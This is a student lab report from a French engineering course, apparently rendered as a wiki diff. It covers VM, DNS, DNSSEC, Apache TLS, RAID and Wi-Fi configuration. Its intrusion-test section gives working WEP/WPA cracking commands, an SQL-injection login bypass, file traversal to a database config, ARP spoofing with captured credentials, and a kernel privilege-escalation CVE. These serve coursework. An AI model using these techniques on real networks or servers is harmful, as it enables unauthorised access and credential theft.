TP sysres IMA5sc 2020/2021 G6 : Différence entre versions
(→Configuration de bind9) |
(→Configuration IPv6) |
||
(39 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 38 : | Ligne 38 : | ||
=== Tests d'intrusion === | === Tests d'intrusion === | ||
− | + | ==== Cassage de clef WEP d'un point d'accès WiFi ==== | |
Dans cette partie, nous avons chercher à effectuer une intrusion sur un point d'accès WiFi | Dans cette partie, nous avons chercher à effectuer une intrusion sur un point d'accès WiFi | ||
Ligne 63 : | Ligne 63 : | ||
[[Fichier:Groupe6-IMA2021-3.png|600px|thumb|center|clef trouvée]] | [[Fichier:Groupe6-IMA2021-3.png|600px|thumb|center|clef trouvée]] | ||
− | + | ==== Intrusion sur un serveur d’application Web ==== | |
L'objectif de cette intrusion est de réussir à trouver un mot de passe sur le site honey.plil.info | L'objectif de cette intrusion est de réussir à trouver un mot de passe sur le site honey.plil.info | ||
Ligne 73 : | Ligne 73 : | ||
Mot de passe : 'OR 1=1# | Mot de passe : 'OR 1=1# | ||
− | Ce qui nous a permis d'obtenir le mot de passe admin de la page http://honey.plil.info/ | + | Ce qui nous a permis d'obtenir le mot de passe admin de la page http://honey.plil.info/index.php |
− | + | admin ***** admin Administrateur | |
− | + | Une fois connecté avec les identifiants administrateurs que nous venions de récupérer, | |
− | + | nous avons utilisé la technique de parcours de fichier. | |
− | . | + | On retrouver ainsi en créant le fichier /etc/phpmyadmin/config-db.php |
− | + | Ce qui nous a permis de récupérer le fichier config-db.php | |
+ | |||
+ | Voici le contenu du fichier : | ||
+ | |||
+ | $dbuser='phpmyadmin'; | ||
+ | $dbpass='*****'; | ||
+ | $basepath=''; | ||
+ | $dbname='phpmyadmin'; | ||
+ | $dbserver='localhost'; | ||
+ | $dbport='3306'; | ||
+ | $dbtype='mysql'; | ||
+ | |||
+ | On disposait ainsi du mot de passe ainsi que de l'identifiant de la page http://honey.plil.info/phpmyadmin/ | ||
+ | |||
+ | en clair | ||
Nous nous sommes connectés en root | Nous nous sommes connectés en root | ||
Ligne 89 : | Ligne 103 : | ||
Et nous avons obtenus le mot de passe au niveau de l'arborescence test/ | Et nous avons obtenus le mot de passe au niveau de l'arborescence test/ | ||
− | Arrivé à cette étape nous nous sommes connectés en ssh | + | Arrivé à cette étape nous nous sommes connectés en ssh sur la machine physique |
ssh rex@honey.plil.info | ssh rex@honey.plil.info | ||
mot de passe : **** | mot de passe : **** | ||
Ligne 99 : | Ligne 113 : | ||
... Add first line in fil | ... Add first line in fil | ||
.... Uncrypt with john | .... Uncrypt with john | ||
+ | |||
+ | |||
+ | ==== Brute-force sur WPA-PSK ==== | ||
+ | |||
+ | Pour commencer, la carte passe en mode monitor : | ||
+ | airmon-ng start wlan0 | ||
+ | |||
+ | Puis une analyse des réseaux wifi disponible est effectuée : | ||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | On sélectionne notre réseau wifi (ici kracotte 6) avec son adresse MAC | ||
+ | airodump-ng -c 3 --bssid 00:14:1B:60:8C:25 -w /home/pifou/Desktop/kracotte6 wlan0mon | ||
+ | |||
+ | |||
+ | [[Fichier:Handshaked_grp6_2021.png]] | ||
+ | |||
+ | Lorsque le handshake est obtenu, on compare grâce à un dictionnaire et la commande le fichier .cap récupéré: | ||
+ | aicrack-ng -a2 -b 00:14:1B:60:8C:25 -w dico.txt kracotte06-02.cap | ||
+ | |||
+ | Pour créer le dictionnaire, on utilise la commande crunch (comme on sait que le mot de passe est sur 8 caractères et forcément un nombre) | ||
+ | crunch 8 8 0123456789 -o ./dico.txt | ||
+ | |||
+ | [[Fichier:Aircrack_working_grp6_2021.png]] | ||
+ | |||
+ | Finalement, après un peu moins d'1h d'attente : | ||
+ | |||
+ | [[Fichier:Aircrack_done_grp6_2021.png]] | ||
+ | |||
+ | ==== Attaque de type "homme au milieu" par usurpation ARP ==== | ||
+ | Dans cette partie nous allons effectuer une attaque de type "homme du milieu" en faisant passé notre ordinateur pour la passerelle. | ||
+ | |||
+ | Nous l'avons réalisé en ces étapes : | ||
+ | 1. Installation du paquetage dsniff sur notre ordinateur | ||
+ | 2. Modification du fichier /proc/sys/net/ipv4/ip_forward à 1 | ||
+ | 3. Dans le terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254 | ||
+ | 4. Dans un autre terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254 | ||
+ | 5. Ouverture de wireshark sur l'eeepc et filtrage des paquets capturés sur le type hit | ||
+ | 6. Ouverture d'un site http (http://fabricarium.polytech-lille.fr) | ||
+ | 7. Observation sur wireshark des paquets (méthode GET) | ||
+ | 8. En essayant de nous connecter en remplissant les identifiants, nous avons eu ce résultat : | ||
+ | |||
+ | 892 27.057577298 172.26.145.70 193.48.57.233 HTTP 1118 GET http://fabricarium-old.polytech-lille.fr/ HTTP/1.1 | ||
+ | |||
+ | 987 38.734920206 172.26.145.70 193.48.57.233 HTTP 1383 POST http://fabricarium-old.polytech-lille.fr/users/sign_in.json HTTP/1.1 (application/json) | ||
+ | |||
+ | 995 39.815022272 172.26.145.70 193.48.57.233 HTTP 1444 POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1 (application/x-www-form-urlencoded) | ||
+ | |||
+ | 1523 99.814090449 172.26.145.70 193.48.57.233 HTTP 1444 POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1 (application/x-www-form-urlencoded) | ||
+ | |||
+ | Frame 987: 1383 bytes on wire (11064 bits), 1383 bytes captured (11064 bits) on interface 0 | ||
+ | Ethernet II, Src: IntelCor_8f:f7:d3 (00:15:17:8f:f7:d3), Dst: HewlettP_01:ed:ce (5c:b9:01:01:ed:ce) | ||
+ | Internet Protocol Version 4, Src: 172.26.145.70, Dst: 193.48.57.233 | ||
+ | Transmission Control Protocol, Src Port: 53876, Dst Port: 3128, Seq: 14532, Ack: 11925, Len: 1317 | ||
+ | Hypertext Transfer Protocol | ||
+ | JavaScript Object Notation: application/json | ||
+ | Object | ||
+ | Member Key: user | ||
+ | Object | ||
+ | Member Key: email | ||
+ | String value: mail@mail.com | ||
+ | Key: email | ||
+ | Member Key: password | ||
+ | String value: motdepasse | ||
+ | Key: password | ||
+ | Key: user | ||
===Connexion de la VM au net=== | ===Connexion de la VM au net=== | ||
Ligne 115 : | Ligne 194 : | ||
vlan 333 | vlan 333 | ||
ip route 193.48.57.183 255.255.255.255 100.64.0.23 | ip route 193.48.57.183 255.255.255.255 100.64.0.23 | ||
+ | |||
+ | |||
+ | Pour accéder via ssh à la machine, il suffit de s'y connecter via les identifiants habituels. | ||
===Modification host DNS et configuration de bind9=== | ===Modification host DNS et configuration de bind9=== | ||
Ligne 128 : | Ligne 210 : | ||
Elle fut redemandé le 2 novembre... | Elle fut redemandé le 2 novembre... | ||
+ | |||
+ | |||
+ | MàJ du 16/11: | ||
+ | |||
+ | Après vérification, une erreur de type couillon sur le glue record a probablement empêché le bon déroulement de l'opération : l'adresse ip renseignée était 193.57.48.183 au lieu de 193.48.57.183... | ||
+ | |||
+ | MàJ du 30/11: | ||
+ | |||
+ | Migration réussie | ||
+ | |||
+ | MàJ du 09/12: | ||
+ | |||
+ | Après plusieurs modifications, le site est up et la page par défaut d'apache2 avec une petite modification pour confirmer le fonctionnement. | ||
====Configuration de bind9==== | ====Configuration de bind9==== | ||
Ligne 152 : | Ligne 247 : | ||
ns1 IN A 193.48.57.183 | ns1 IN A 193.48.57.183 | ||
− | === | + | MàJ du 09/12 |
+ | |||
+ | Plusieurs modifications ont été effectuées sur le ficiher db.morillon.website: | ||
+ | |||
+ | Modification des A record, serveur mail et web, passage au serial contenant date de modification: | ||
+ | |||
+ | ;BIND data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 86400 | ||
+ | @ IN SOA ns1.morillon.website. postmaster.morillon.website. ( | ||
+ | 2020120705 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 86400 ); ; Negative Cache TTL | ||
+ | |||
+ | @ IN NS ns1.morillon.website. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | @ IN MX 100 mail | ||
+ | mail IN A 193.48.57.183 | ||
+ | ns1 IN A 193.48.57.183 | ||
+ | www IN CNAME ns1 | ||
+ | |||
+ | mail passé en A car warning de bind9 alertant l'illégalité d'un mail en CNAME | ||
+ | |||
+ | Ajout d'une zone inverse dans le fichier db.193: | ||
+ | |||
+ | ; BIND reverse data file for local loopback interface | ||
+ | ; | ||
+ | $TTL 604800 | ||
+ | @ IN SOA ns1.morillon.website. postmaster.morillon.website. ( | ||
+ | 2020120703 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ); ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1. | ||
+ | 183 IN PTR ns1.morillon.website. | ||
+ | 183 IN PTR mail.morillon.website. | ||
+ | |||
+ | Avec une entrée pour chaque A record | ||
+ | |||
+ | Modification du fichier named.conf.options : | ||
+ | |||
+ | ... | ||
+ | listen-on-v6 { any; }; | ||
+ | listen-on { any; }; | ||
+ | allow-recursion {127.0.0.1; 193.48.57.183; 217.70.177.40;}; | ||
+ | allow-query-cache {127.0.0.1; 193.48.57.183;}; | ||
+ | ... | ||
+ | |||
+ | Ajout de l'IP publique et du dns gandi pour les récursions, query-cache réduit pour empêcher usurpation | ||
+ | Des request denied dans le log confirme le bon fonctionnement : | ||
+ | |||
+ | ... | ||
+ | Dec 9 08:42:51 morillon named[1923]: client @0x7f1a44056fa0 88.80.186.137#43549 (193-48-57-183-5fd02192.spiderprobe.com): query (cache) \ | ||
+ | '193-48-57-183-5fd02192.spiderprobe.com/A/IN' denied | ||
+ | Dec 9 11:07:56 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied | ||
+ | Dec 9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied | ||
+ | Dec 9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied | ||
+ | ... | ||
+ | |||
+ | Modification du fichier named.conf.local : | ||
+ | |||
+ | ... | ||
+ | zone "57.48.193.in-addr.arpa" { | ||
+ | type master; | ||
+ | notify no; | ||
+ | file "/etc/bind/db.193"; | ||
+ | }; | ||
+ | ... | ||
+ | |||
+ | Pour zone de recherche inverse | ||
+ | |||
+ | Modification du fichier de lancement /etc/default/bind9 pour un mode IPv4 pour l'instant: | ||
+ | |||
+ | ... | ||
+ | OPTIONS=" -4 -u bind" | ||
+ | ... | ||
+ | |||
+ | ====Configuration du DNSSEC==== | ||
+ | |||
+ | [[Fichier:dnssec_morillon.png|right]] | ||
+ | |||
+ | Pour configurer bind9 avec dnssec, nous générons d'abord les clés KSK et ZSK: | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE morillon.website | ||
+ | dnssec-keygen -a RSASHA1 -b -b 1024 -n ZONE morillon.website | ||
+ | |||
+ | Pour plus de clarté : | ||
+ | mv Kmorillon.website.+005+59473.key morillon.website-ksk.key | ||
+ | mv Kmorillon.website.+005+59473.private morillon.website-ksk.private | ||
+ | |||
+ | mv Kmorillon.website.+005+52512.key morillon.website-zsk.key | ||
+ | mv Kmorillon.website.+005+52512.private morillon.website-zsk.private | ||
+ | |||
+ | Ajout dans le fichier named.conf.options des options propres au DNSSEC: | ||
+ | ... | ||
+ | dnssec-enable yes; | ||
+ | dnssec-validation yes; | ||
+ | dnssec-lookaside yes; | ||
+ | ... | ||
+ | |||
+ | Ajout dans le fichier de zone db.morillon.website des clés: | ||
+ | $include /etc/bind/morillon.website.dnssec/morillon.website-ksk.key | ||
+ | $include /etc/bind/morillon.website.dnssec/morillon.website-zsk.key | ||
+ | |||
+ | Incrémentation du revision code | ||
+ | |||
+ | Signature du fichier de zone par l'utilitaire dnssec : | ||
+ | dnssec-signzone -o morillon.website -k morillon.website-ksk db.morillon.website morillon.website-zsk | ||
+ | |||
+ | ''Nous avons eu un problème lors de la signature du fichier de zone, pour cela nous avons dû rajouter le timeout dans les fichiers de clés : | ||
+ | morillon.website. '''3600''' IN DNSKEY 257 3 5 AwEAAfVX0ANdFDm... | ||
+ | |||
+ | Apparemment à cause de l'option -L absente lors de la création des clés. | ||
+ | |||
+ | Modification du fichier named.conf.local pour changement du fichier de zone à charger : | ||
+ | ... | ||
+ | //file "/etc/bind/db.morillon.website"; | ||
+ | file "/etc/bind/db.morillon.website.signed"; | ||
+ | ... | ||
+ | |||
+ | Redémarrage du serveur bind9 avec la nouvelle configuration : | ||
+ | service reload bind9 | ||
+ | |||
+ | Puis partage des clés KSK et ZSK avec gandi.net dans la zone registrar (utilisation d'un algorithme RSA/SHA1 (5)) | ||
+ | |||
+ | Lors d'un host -t any, nous obtenons : | ||
+ | morillon.website has RRSIG record NSEC 5 2 86400 20210113121019 20201214121019 52512 morillon.website. nIhQAoZ568EQQ9eOl5H11UqnE49RW62604sey8RqnpVV1GWO4Rp5fkX4 7aOmVVljXVpnFvBfcfVYI430VHGKJUjUwSgSQSFFrLsKqETAp2PZFosH qEX1ml7c6U5SGpWdlkMtisLCxYfYn8/r2R25MZtrZsIsW543Zx6kXSzP 4CI= | ||
+ | morillon.website has NSEC record mail.morillon.website. NS SOA MX RRSIG NSEC DNSKEY | ||
+ | morillon.website has RRSIG record MX 5 2 86400 20210113121019 20201214121019 52512 morillon.website. GYKvgQe+6dfZkrevA3TXyJS82o77qWlRl/pNsE0I41Ku7FT1RgifPDll kXnqRl9G70iT4cRB9dNa/F+7RTcvY276in44lMkAzRlMWARG8+hYBhhq 5nvNN4kJpDZ7dKIpTc/wMu7SGiMZYKKrJOeK/pdarxI4ZHyqhDMiCW/X 9hE= | ||
+ | morillon.website mail is handled by 100 mail.morillon.website. | ||
+ | morillon.website has RRSIG record NS 5 2 86400 20210113121019 20201214121019 52512 morillon.website. RuAS5LH4UEmd+FIjzD522vwJcrGYlNuUuZYsDAFy0JiMGuOse5EKAWOi 01NWxfLAPGCDlj9Dj4QfyxSA+GhIJPEU25kcR44Nv/LQn1FsJZlQT8XM QkUnAXSlchrIlKg+XaSCTGjjfB1rE5Oba7PUwYgQ5CC7C7etvXegp2QV Ju0= | ||
+ | morillon.website has RRSIG record SOA 5 2 86400 20210113121019 20201214121019 52512 morillon.website. i+0smnpl1ASGvURvV3lL/BuL6Zw/s3yjslMRUIKbOkE4tM/zgqF5RrTb gHOkj3PcZSSaO31O3vKUz6S0iPo/YWQvdaF0aHDcyvLQgCLiP6vpNwF+ mwOO821Jto39AM+3cuWCsytKECqKH4LoDMxkw/MUi6DJe40eAD8HEf2P 8iQ= | ||
+ | morillon.website has SOA record ns1.morillon.website. postmaster.morillon.website. 2020120706 604800 86400 2419200 86400 | ||
+ | morillon.website has RRSIG record DNSKEY 5 2 3600 20210113121019 20201214121019 52512 morillon.website. VGQyJDSf38xOBJymFK/DYLO/UYPEoIspsqZpPPnX+nPjUdR5Tw3tILPT 5AfZWAChlgQ8AnfLzxum/znpKI66EbeqTHvg1J/FjMBvlsyyLjwqjn6w u7JzquC/fbpq4HsskLFgpl1Z1zNuQAJB9xBGOJR8BpCHBRc8ubp1tUzy I2k= | ||
+ | morillon.website has RRSIG record DNSKEY 5 2 3600 20210113121019 20201214121019 59473 morillon.website. Tz3BwfoPt+loiqbWuQnbDdl57L6eXQ+dv+ZvXzcrvCSTXy/UKNRjs39d t6j6krwo4eZk6blXGgDEm93D67AmkQHmus9NYL9VgR0eG/NPHIodozzq aai4jXKwcOnk8O3d/nObyOERvGbnD9znUVGtgiUDCcY7UaXBogewFyCR Zxq69+FdFvmIXwriHHRRiaN/Bf4r/+djB46AcZEpbtvq1475BfJ6qYe/ VxW5odv1wcr9k8Sy/27LMbaHzdX9OWqdYLge3vfBRa8VMW+R57tx+M0p mtmOExUgc3mmnsVLP89L2M85MMTcbaup1RJIG4L33CaYEl9hOiaki4j8 CW5GHg== | ||
+ | morillon.website has DNSKEY record 257 3 5 AwEAAfVX0ANdFDmDRKIBUMhso53F9LjZnc3lKHwHZHe3xiyLnFC+rQyc CQH+xg5g0UvDSLtoTFRtMiA4AyY6d8fywjmNFVluu64iDWyZkIVdiZLm XkfDdt4lz2+rxE1IkncbCYKkOk5cwkXYtxR/z/leOyZPX4i8Q1fhMfJG jUzNnZ1dATz0WGTb5qoGU9mEzVOH1WH4SkHc+acXkfBn6MtgR/DNJKDw 5huO3LMuA/ZyfwZU7lHhID97MMdpIwTIjd/nJLCjNY6rUP4OzZka7VjQ n/lOZ2UGMjOn+4QQqKDvmLohUOBsNFyY7PnSvsV9j5riNEZfuBx863QN 0PSBfK9cA4M= | ||
+ | morillon.website has DNSKEY record 256 3 5 AwEAAaZUpNecSfAJ70amN3b4lcgpOAKXwbeJRogxxJEaqoSa0meQm6PY ZHAJFkxMMi78X+qVQeZr206VozCjPhysAWK6G45h/yY73Xzw1s0KzLwf L6FOhcn7KWzf2CIm6RfH5hwRLyuDriAaVVdKPxN/CkW9LIXRzm5LWSdz hqsZrhsz | ||
+ | morillon.website name server ns6.gandi.net. | ||
+ | morillon.website name server ns1.morillon.website. | ||
+ | |||
+ | Cela fonctionne correctement. | ||
+ | |||
+ | ===Apache2 et sécurisation du serveur=== | ||
Pour sécuriser le serveur et accéder à notre site web apache2, ce dernier a besoin d'un certificat. | Pour sécuriser le serveur et accéder à notre site web apache2, ce dernier a besoin d'un certificat. | ||
Pour l'obtenir, nous avons tout d'abord créer un CSR et une private key dans le dossier home du serveur. | Pour l'obtenir, nous avons tout d'abord créer un CSR et une private key dans le dossier home du serveur. | ||
− | openssl req -nodes -newkey rsa:2048 - | + | openssl req -nodes -newkey rsa:2048 -sha256 -keyout morillon.key -out morillon.csr |
Et fourni les éléments d'identification de notre serveur (localisation, nom commun, etc.) | Et fourni les éléments d'identification de notre serveur (localisation, nom commun, etc.) | ||
+ | |||
+ | Une fois le .csr et le .key créés, nous transmettons à gandi.net le CSR afin de générer un certificat signé. | ||
+ | |||
+ | Nous avons configué notre serveur pour recevoir des mails, pour cela, nous avons installé 2 paquets : | ||
+ | |||
+ | postfix | ||
+ | bsd-mailx | ||
+ | |||
+ | Puis nous avons ajouté un alias dans le fichier /etc/aliases | ||
+ | admin: root | ||
+ | |||
+ | Il est nécessaire de renseigner l'adresse du serveur mail dans le fichier DNS /etc/bind/db.morillon.website | ||
+ | @ IN MX 100 mail | ||
+ | mail IN CNAME ns1 | ||
+ | ns1 IN A *adresse ip publique* | ||
+ | |||
+ | Grâce à | ||
+ | mailx | ||
+ | |||
+ | Nous pouvons vérifier la présence de mail sur notre serveur et recevoir la demande d'authentification de gandi pour générer le certificat. | ||
+ | |||
+ | Une fois obtenue, nous avons 4 fichiers : .key (fichier private key) .csr (fichier certificate) .crt (certificat signé) et .pem (liste des certificats accordés aux autorités signant notre certificat) | ||
+ | |||
+ | Nous configurons par la suite apache2 pour utiliser ces certificats, dans le terminal : | ||
+ | a2enmod ssl | ||
+ | a2enmod headers | ||
+ | service apache2 restart | ||
+ | |||
+ | Maintenant, nous créons un fichier de configuration pour notre serveur: | ||
+ | touch /etc/apache2/sites-available/morillon.website.conf | ||
+ | |||
+ | Contenant : | ||
+ | <VirtualHost *:80> | ||
+ | Redirect permanent / https://www.morillon.website | ||
+ | </VirtualHost> | ||
+ | #Pour rediriger automatiquement les connexions http vers https | ||
+ | <VirtualHost *:443> | ||
+ | ServerName morillon.website | ||
+ | ServerAlias www.morillon.website | ||
+ | DocumentRoot "/var/www/morillon.website" | ||
+ | <Directory "var/www/morillon.website"> | ||
+ | Options +FollowSymLinks | ||
+ | AllowOverride all | ||
+ | Require all granted | ||
+ | </Directory> | ||
+ | ErrorLog /var/log/apache2/error.morillon.website.log | ||
+ | CustomLog /var/log/apache2/access.morillon.website.log combined | ||
+ | #Paramètres de base pour notre site | ||
+ | SSLEngine on | ||
+ | SSLCertificateFile "/home/certificates/morillon.website.crt" | ||
+ | SSLCertificateKeyFile "/home/certificates/morillon.key" | ||
+ | SSLCertificateChainFile "/home/certificates/GandiStandardSSLCA2.pem" | ||
+ | #Activation de la sécurité TLS, emplacement des certificats, de la clé privée et des listes de certificats intermédiaires | ||
+ | SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2 | ||
+ | SSLHonorCipherOrder On | ||
+ | SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:HIGH:!MD5:!aNULL:!EDH:!RC4 | ||
+ | SSLCompression off | ||
+ | #Quelques options de sécurité supplémentaires suites aux découvertes sur les failles TLS de 2014 | ||
+ | </VirtualHost> | ||
+ | |||
+ | Et nous avons désactivé les autres sites par défaut : | ||
+ | a2dissite 000-default.conf | ||
+ | a2dissite default-ssl.conf | ||
+ | |||
+ | Et activons notre site: | ||
+ | a2ensite morillon.website.conf | ||
===Encryption Clé USB=== | ===Encryption Clé USB=== | ||
Ligne 177 : | Ligne 484 : | ||
Elle monte ensuite dans le dossier ''/dev/mapper'' et il devient possible de la formater : | Elle monte ensuite dans le dossier ''/dev/mapper'' et il devient possible de la formater : | ||
mkfs.ext4 /dev/mapper/encryptedDevice | mkfs.ext4 /dev/mapper/encryptedDevice | ||
+ | |||
+ | ===Elevation de privilège sur kernel linux=== | ||
+ | |||
+ | Pour tester l'élevation de privilège, nous utilisons la faille CVE_2016_0728 qui fonctionne sur les kernels entre 3.6 et 3.18 | ||
+ | Identifié par la team Perception Point | ||
+ | http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ | ||
+ | |||
+ | Création d'un VM avec KVM d'une debian jessie pour test sur zabeth21. | ||
+ | |||
+ | ===Raid 5 Logiciel=== | ||
+ | |||
+ | Pour réaliser le raid 5 logiciel, on crée tout d'abord 3 partitions virtuelles via lvcreate: | ||
+ | lvcreate -L1G -n JDDTTR5* storage | ||
+ | |||
+ | Ensuite on les lie à la VM dans le fichier /etc/xen/morillon.cfg comme pour les disques home et var. | ||
+ | |||
+ | Après redémarrage de la VM, on installe le paquet mdadm et on crée un raid 5 sur les 3 nouvelles partitions : | ||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvde /dev/xvdf /dev/xvdg | ||
+ | |||
+ | On peut vérifier la création grâce à : | ||
+ | cat /proc/mdstat | ||
+ | |||
+ | qui nous renvoie : | ||
+ | Personalities : [raid6] [raid5] [raid4] | ||
+ | md0 : active raid5 xvdg[3] xvdf[1] xvde[0] | ||
+ | 2093056 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU] | ||
+ | |||
+ | Lors de la désactivation d'un des disques du raid, les données restent accessibles par reconstruction de la partie manquante à partir de 2 parties existantes ou d'une partie et d'une clé correspondante. | ||
+ | |||
+ | ===Sécurisation WiFi par WPA2-EAP=== | ||
+ | |||
+ | Le but dans cette étant de permettre à la borne WiFi d'être controlé par WPA2-EAP, | ||
+ | |||
+ | nous avons en sorte que l'identification va se faire en utilisant le même serveur FreeRadius que pour la sécurisation filaire | ||
+ | |||
+ | Pour ce faire : | ||
+ | |||
+ | Nous nous sommes connecté par ssh à notre point d'accès | ||
+ | ssh root@10.60.100.10 -c aes128-cbc | ||
+ | |||
+ | Ce qui nous a permis de nous connecter sur le point d'accès wifi-ima5 | ||
+ | |||
+ | Une fois dessus nous avons effectué les commandes suivantes : | ||
+ | |||
+ | wifi-ima5sc>en | ||
+ | wifi-ima5sc# (Après avoir tapé le mot de passe) | ||
+ | wifi-ima5sc# config-term | ||
+ | wifi-ima5sc(config)# aaa new-model | ||
+ | wifi-ima5sc(config)# aaa authentication login eap_group6 group radius_group6 | ||
+ | wifi-ima5sc(config-sg-radius)# radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secret_group6 | ||
+ | wifi-ima5sc(config)# aaa group server radius radius_group6 | ||
+ | |||
+ | wifi-ima5sc(config)# dot11 ssid morillon | ||
+ | wifi-ima5sc(config-ssid)# vlan306 | ||
+ | wifi-ima5sc(config-ssid)# authentication open eap eap_group6 | ||
+ | wifi-ima5sc(config-ssid)# authentication network-eap eap_group6 | ||
+ | wifi-ima5sc(config-ssid)# authentication key-management wpa | ||
+ | wifi-ima5sc(config-ssid)# mbssid Guest mode | ||
+ | |||
+ | wifi-ima5sc(config)# int dot11radio0 | ||
+ | wifi-ima5sc(config-if)# encryption vlan 306 mode ciphers aes-ccm tkip | ||
+ | wifi-ima5sc(config-if)# mbssid | ||
+ | wifi-ima5sc(config-if)# encryption vlan 306 mode ciphers aes-ccm tkip | ||
+ | wifi-ima5sc(config-if)# ssid morillon | ||
+ | |||
+ | wifi-ima5sc(config)# int dot11radio0.6 | ||
+ | wifi-ima5sc(config-subif)#encapsulation dot1Q 6 | ||
+ | wifi-ima5sc(config-subif)#bridge-group 6 | ||
+ | |||
+ | ===Configuration VRPP=== | ||
+ | |||
+ | Sur le routeur 6509-E | ||
+ | |||
+ | (config)# vlan 306 | ||
+ | (config-if)# vrrp 46 ip 10.60.106.254 | ||
+ | (config-if)# vrrp 46 preempt | ||
+ | (config-if)# vrrp 46 priority 110 | ||
+ | |||
+ | Sur le routeur C9200 | ||
+ | |||
+ | (config)# vlan 306 | ||
+ | (config-if)# vrrp 46 address-family ipv4 | ||
+ | (config-if-vrrp)# address 10.60.106.254 | ||
+ | (config-if-vrrp)# preempt | ||
+ | (config-if-vrrp)# vrrpv2 | ||
+ | |||
+ | ===Configuration IPv6=== | ||
+ | |||
+ | Afin d'effectuer la configuration IPv6 nous avons procédé aux étapes suivantes : | ||
+ | |||
+ | Sur le routeur 6509-E : | ||
+ | |||
+ | (config)# int vlan 306 | ||
+ | (config-if)# no shut | ||
+ | (config-if)# ip address 10.60.106.1 255.255.255.0 | ||
+ | (config-if)# ipv6 enable | ||
+ | (config-if)# ipv6 address 2001:660:4401:60b8::0/64 eui-64 | ||
+ | (config-if)# ipv6 nd prefix 2001:660:4401:60b8::0/64 1000 900 | ||
+ | (config-if)# ipv6 nd router-preference High | ||
+ | |||
+ | Sur le routeur C9200 : | ||
+ | |||
+ | (config)#int vlan 306 | ||
+ | (config-if)#no shut | ||
+ | (config-if)#ip address 10.60.106.2 255.255.255.0 | ||
+ | (config-if)#ipv6 enable | ||
+ | (config-if)#ipv6 address 2001:660:4401:60b8::0/64 eui-64 | ||
+ | (config-if)#ipv6 nd prefix 2001:660:4401:60b8::0/64 1000 900 | ||
+ | (config-if)#ipv6 nd router-preference Low | ||
+ | |||
+ | Notre machine arrive à recupérer une adresse IP | ||
+ | |||
+ | IMA5sc-R1#sh ip dhcp bin | ||
+ | IMA5sc-R1#sh ip dhcp binding | ||
+ | IP address Client-ID/ Lease expiration Type | ||
+ | Hardware address | ||
+ | 10.60.106.100 0146.f879.9094.cf Jun 01 2000 04:53 AM Automatic |
Version actuelle datée du 14 décembre 2020 à 18:42
Sommaire
- 1 Création de la machine virtuelle
- 2 Tests d'intrusion
- 3 Connexion de la VM au net
- 4 Modification host DNS et configuration de bind9
- 5 Apache2 et sécurisation du serveur
- 6 Encryption Clé USB
- 7 Elevation de privilège sur kernel linux
- 8 Raid 5 Logiciel
- 9 Sécurisation WiFi par WPA2-EAP
- 10 Configuration VRPP
- 11 Configuration IPv6
Création de la machine virtuelle
Pour créer la machine virtuelle, une fois connecté sur le serveur capbreton, la commande utilisée est la suivante :
ssh capbreton.plil.info su - xen-create-image --hostname=morillon --dist=buster --ip=100.64.0.21 --netmask=255.255.255.240 --dir=/usr/local/xen/ --gateway=100.64.0.5 --force
Cependant, nous obtenions une erreur de type mkswap absent.
Pour répondre à ce problème, nous avons essayé de recompiler la dernière version des linux-utils, de les configurer et de les installer.
Cela a bien fonctionné mais n'a pas répondu au problème et finalement a fait bugué l'ensemble du serveur capbreton.
Pour récupérer des utilitaires fonctionnels, M. Redon a dû réinstaller les utilitaires depuis la commande apt en vérifiant les numéros de version au préalable.
La prochaine fois, nous ferons bien attention à rajouter un tiret pour se connecter en root (su -)...
Pour créer les disques virtuels, au préalable, commande pvcreate sur les disques physiques
lvcreate /dev/sde /dev/sdf storage pour créer le volume logique lvcreate -L10G -n JeandedieuTheauX storage
Pour créer deux partitions logiques.
Pour les monter dans les dossier /var et /home de la VM, nous les formattons (mkfs.ext4) Puis modifions le fichier de configuration de la VM --> ajout des lignes
'phy:/dev/storage/JeandedieuTheauX,xvdavY,w' X=[1 || 2]; Y = [3 || 4]
Au passage, nous modifions la ligne vif --> ajout à la fin du bridge :
bridge=IMA5sc
Après le boot de la VM :
xl create -c /etc/xen/morillon.cfg xl console morillon (si active)
Nous modifions le fichier '/etc/fstab pour monter automatiquement les dossiers /var et /home sur les partitions xvdav.
Tests d'intrusion
Cassage de clef WEP d'un point d'accès WiFi
Dans cette partie, nous avons chercher à effectuer une intrusion sur un point d'accès WiFi
Nous avons pour cela installé le paquetage aircrack-ng qui est un programme de surveillance des réseaux sans fil
Il permet de ce fait d'effectuer un cassage des clés WEP ou WPA par exemple
Dans un premier temps nous allons utiliser le programme pour cracker un des points d'accès : cracotte06
Nous retrouvons le nom de son BSSID et son channel grâce à la commande suivante :
Nous effectuer la commande iwconfig pour retrouver le nom de notre interface wifi
Grâce aux deux commandes suivantes lancées dans deux terminaux différents aircrack-ng.
Comme on le voit sur les deux captures d'écran ci-dessous, nous retrouvons notre clé en Hexadecimal
Intrusion sur un serveur d’application Web
L'objectif de cette intrusion est de réussir à trouver un mot de passe sur le site honey.plil.info
